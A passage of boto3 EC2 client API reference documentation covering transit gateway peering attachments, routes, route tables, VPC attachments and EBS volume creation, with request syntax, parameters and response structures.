volume [|](#id230)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayMulticastDomain': { + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayId': 'string', + 'TransitGatewayMulticastDomainArn': 'string', + 'OwnerId': 'string', + 'Options': { + 'Igmpv2Support': 'enable'|'disable', + 'StaticSourcesSupport': 'enable'|'disable', + 'AutoAcceptSharedAssociations': 'enable'|'disable' + }, + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayMulticastDomain** _(dict) --_ + + Information about the transit gateway multicast domain. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayMulticastDomainArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway multicast domain. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multiicast domain. + + * **Options** _(dict) --_ + + The options for the transit gateway multicast domain. + + * **Igmpv2Support** _(string) --_ + + Indicates whether Internet Group Management Protocol (IGMP) version 2 is turned on for the transit gateway multicast domain. + + * **StaticSourcesSupport** _(string) --_ + + Indicates whether support for statically configuring transit gateway multicast group sources is turned on. + + * **AutoAcceptSharedAssociations** _(string) --_ + + Indicates whether to automatically cross-account subnet associations that are associated with the transit gateway multicast domain. + + * **State** _(string) --_ + + The state of the transit gateway multicast domain. + + * **CreationTime** _(datetime) --_ + + The time the transit gateway multicast domain was created. + + * **Tags** _(list) --_ + + The tags for the transit gateway multicast domain. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_transit_gateway_peering_attachment(kwargs_) + +Requests a transit gateway peering attachment between the specified transit gateway (requester) and a peer transit gateway (accepter). The transit gateways must be in different Regions. The peer transit gateway can be in your account or a different AWS account. + +After you create the peering attachment, the owner of the accepter transit gateway must accept the attachment request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayPeeringAttachment) + +**Request Syntax** + +response = client.create_transit_gateway_peering_attachment( + TransitGatewayId='string', + PeerTransitGatewayId='string', + PeerAccountId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway. + +* **PeerTransitGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the peer transit gateway with which to create the peering attachment. + +* **PeerAccountId** (_string_) -- + + **[REQUIRED]** + + The AWS account ID of the owner of the peer transit gateway. + +* **PeerRegion** (_string_) -- + + **[REQUIRED]** + + The Region where the peer transit gateway is located. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the transit gateway peering attachment. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id233)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id235)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPeeringAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'RequesterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'AccepterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'string', + 'Message': 'string' + }, + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPeeringAttachment** _(dict) --_ + + The transit gateway peering attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway peering attachment. + + * **RequesterTgwInfo** _(dict) --_ + + Information about the requester transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **AccepterTgwInfo** _(dict) --_ + + Information about the accepter transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **Status** _(dict) --_ + + The status of the transit gateway peering attachment. + + * **Code** _(string) --_ + + The status code. + + * **Message** _(string) --_ + + The status message, if applicable. + + * **State** _(string) --_ + + The state of the transit gateway peering attachment. Note that the initiating state has been deprecated. + + * **CreationTime** _(datetime) --_ + + The time the transit gateway peering attachment was created. + + * **Tags** _(list) --_ + + The tags for the transit gateway peering attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_transit_gateway_prefix_list_reference(kwargs_) + +Creates a reference (route) to a prefix list in a specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayPrefixListReference) + +**Request Syntax** + +response = client.create_transit_gateway_prefix_list_reference( + TransitGatewayRouteTableId='string', + PrefixListId='string', + TransitGatewayAttachmentId='string', + Blackhole=True|False, + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list that is used for destination matches. + +* **TransitGatewayAttachmentId** (_string_) -- The ID of the attachment to which traffic is routed. +* **Blackhole** (_boolean_) -- Indicates whether to drop traffic that matches this route. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPrefixListReference': { + 'TransitGatewayRouteTableId': 'string', + 'PrefixListId': 'string', + 'PrefixListOwnerId': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting', + 'Blackhole': True|False, + 'TransitGatewayAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceId': 'string' + } + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPrefixListReference** _(dict) --_ + + Information about the prefix list reference. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **PrefixListOwnerId** _(string) --_ + + The ID of the prefix list owner. + + * **State** _(string) --_ + + The state of the prefix list reference. + + * **Blackhole** _(boolean) --_ + + Indicates whether traffic that matches this route is dropped. + + * **TransitGatewayAttachment** _(dict) --_ + + Information about the transit gateway attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +create_transit_gateway_route(kwargs_) + +Creates a static route for the specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayRoute) + +**Request Syntax** + +response = client.create_transit_gateway_route( + DestinationCidrBlock='string', + TransitGatewayRouteTableId='string', + TransitGatewayAttachmentId='string', + Blackhole=True|False, + DryRun=True|False +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The CIDR range used for destination matches. Routing decisions are based on the most specific match. + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **TransitGatewayAttachmentId** (_string_) -- The ID of the attachment. +* **Blackhole** (_boolean_) -- Indicates whether to drop traffic that matches this route. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Route': { + 'DestinationCidrBlock': 'string', + 'PrefixListId': 'string', + 'TransitGatewayAttachments': [ + { + 'ResourceId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering' + }, + ], + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Route** _(dict) --_ + + Information about the route. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list used for destination matches. + + * **TransitGatewayAttachments** _(list) --_ + + The attachments. + + * _(dict) --_ + + Describes a route attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **Type** _(string) --_ + + The route type. + + * **State** _(string) --_ + + The state of the route. + + +create_transit_gateway_route_table(kwargs_) + +Creates a route table for the specified transit gateway. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayRouteTable) + +**Request Syntax** + +response = client.create_transit_gateway_route_table( + TransitGatewayId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the transit gateway route table. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id240)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id242)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayRouteTable': { + 'TransitGatewayRouteTableId': 'string', + 'TransitGatewayId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'DefaultAssociationRouteTable': True|False, + 'DefaultPropagationRouteTable': True|False, + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayRouteTable** _(dict) --_ + + Information about the transit gateway route table. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **State** _(string) --_ + + The state of the transit gateway route table. + + * **DefaultAssociationRouteTable** _(boolean) --_ + + Indicates whether this is the default association route table for the transit gateway. + + * **DefaultPropagationRouteTable** _(boolean) --_ + + Indicates whether this is the default propagation route table for the transit gateway. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Tags** _(list) --_ + + Any tags assigned to the route table. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_transit_gateway_vpc_attachment(kwargs_) + +Attaches the specified VPC to the specified transit gateway. + +If you attach a VPC with a CIDR range that overlaps the CIDR range of a VPC that is already attached, the new VPC CIDR range is not propagated to the default propagation route table. + +To send VPC traffic to an attached transit gateway, add a route to the VPC route table using CreateRoute . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayVpcAttachment) + +**Request Syntax** + +response = client.create_transit_gateway_vpc_attachment( + TransitGatewayId='string', + VpcId='string', + SubnetIds=[ + 'string', + ], + Options={ + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **SubnetIds** (_list_) -- + + **[REQUIRED]** + + The IDs of one or more subnets. You can specify only one subnet per Availability Zone. You must specify at least one subnet, but we recommend that you specify two subnets for better availability. The transit gateway uses one IP address from each specified subnet. + + * _(string) --_ +* **Options** (_dict_) -- + + The VPC attachment options. + + * **DnsSupport** _(string) --_ + + Enable or disable DNS support. The default is enable . + + * **Ipv6Support** _(string) --_ + + Enable or disable IPv6 support. The default is disable . + + * **ApplianceModeSupport** _(string) --_ + + Enable or disable support for appliance mode. If enabled, a traffic flow between a source and destination uses the same Availability Zone for the VPC attachment for the lifetime of that flow. The default is disable . + +* **TagSpecifications** (_list_) -- + + The tags to apply to the VPC attachment. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id245)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id247)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayVpcAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'VpcId': 'string', + 'VpcOwnerId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'SubnetIds': [ + 'string', + ], + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayVpcAttachment** _(dict) --_ + + Information about the VPC attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **VpcOwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **State** _(string) --_ + + The state of the VPC attachment. Note that the initiating state has been deprecated. + + * **SubnetIds** _(list) --_ + + The IDs of the subnets. + + * _(string) --_ + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The VPC attachment options. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **Ipv6Support** _(string) --_ + + Indicates whether IPv6 support is disabled. + + * **ApplianceModeSupport** _(string) --_ + + Indicates whether appliance mode support is enabled. + + * **Tags** _(list) --_ + + The tags for the VPC attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_volume(kwargs_) + +Creates an EBS volume that can be attached to an instance in the same Availability Zone. + +You can create a new empty volume or restore a volume from an EBS snapshot. Any AWS Marketplace product codes from the snapshot are propagated to the volume. + +You can create encrypted volumes. Encrypted volumes must be attached to instances that support Amazon EBS encryption. Volumes that are created from encrypted snapshots are also automatically encrypted. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +You can tag your volumes during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Creating an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVolume) + +**Request Syntax** + +response = client.create_volume( + AvailabilityZone='string', + Encrypted=True|False, + Iops=123, + KmsKeyId='string', + OutpostArn='string', + Size=123, + SnapshotId='string', + VolumeType='standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + MultiAttachEnabled=True|False, + Throughput=123 +) + +Parameters + +* **AvailabilityZone** (_string_) -- + + **[REQUIRED]** + + The Availability Zone in which to create the volume. + +* **Encrypted** (_boolean_) -- + + Indicates whether the volume should be encrypted. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Encryption by default](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default) in the _Amazon Elastic Compute Cloud User Guide_ . + + Encrypted Amazon EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + +* **Iops** (_integer_) -- + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + +* **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +* **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. +* **Size** (_integer_) -- + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 : 1-16,384 + * io1 and io2 : 4-16,384 + * st1 and sc1 : 125-16,384 + * standard : 1-1,024 +* **SnapshotId** (_string_) -- The snapshot from which to create the volume. You must specify either a snapshot ID or a volume size. +* **VolumeType** (_string_) -- + + The volume type. This parameter can be one of the following values: + + * General Purpose SSD: gp2 | gp3 + * Provisioned IOPS SSD: io1 | io2 + * Throughput Optimized HDD: st1 + * Cold HDD: sc1 + * Magnetic: standard + + For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: gp2 + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to apply to the volume during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | 